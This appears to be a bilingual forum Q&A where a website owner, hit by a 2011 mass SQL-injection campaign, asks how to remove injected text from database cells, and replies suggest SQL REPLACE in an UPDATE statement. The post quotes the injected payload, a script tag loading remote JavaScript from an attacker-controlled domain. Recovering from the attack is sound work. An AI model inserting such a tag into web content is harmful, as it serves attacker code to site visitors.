不幸的是，我成为了最近这次攻击的受害者：http://www.theregister。 co.uk/2011/10/14/mass_website_inection_grows/。我在数据库的许多字段中发现了可疑代码。
每个单元格中添加的代码始终相同：
警告：不要尝试加载此文件的位置，我不知道可能会产生什么后果，但我不会为任何想要找出答案的人负责< /strong>
我正在寻找一个可以运行的查询，该查询将需要中的每个单元格选定的列，如果找到此字符串，请将其替换为 ''，确保不会影响单元格的现有内容。
I have unfortunately fallen victim to this recent attack: http://www.theregister.co.uk/2011/10/14/mass_website_inection_grows/. I have found the suspicious code inside many of the fields within my database.
The added code in each cell is always the same:
WARNING: Do not attempt to load the location of this file, I don't know what the consequences might be but I will not be responsible for anyone wanting to find out
</title><script src=http://nbnjki.com/urchin.js ></script>
I am looking for a query I can run which will take each cell in a selected column and if it finds this string, replace it with '', making sure not to affect the existing contents of the cell.
发布评论
评论（2）
好的，得到了我的解决方案，我想我因为刚刚意识到的紧迫性而惊慌失措，对于其他人：
来自 http://www.sqlteam.com/article/using-replace-in-an-update-statement
Ok got my solution, think I panicked because of the urgency of having just realised, for anyone else:
from http://www.sqlteam.com/article/using-replace-in-an-update-statement
您可以使用 REPLACE 函数UPDATE 语句。
You could use the REPLACE function in an UPDATE statement.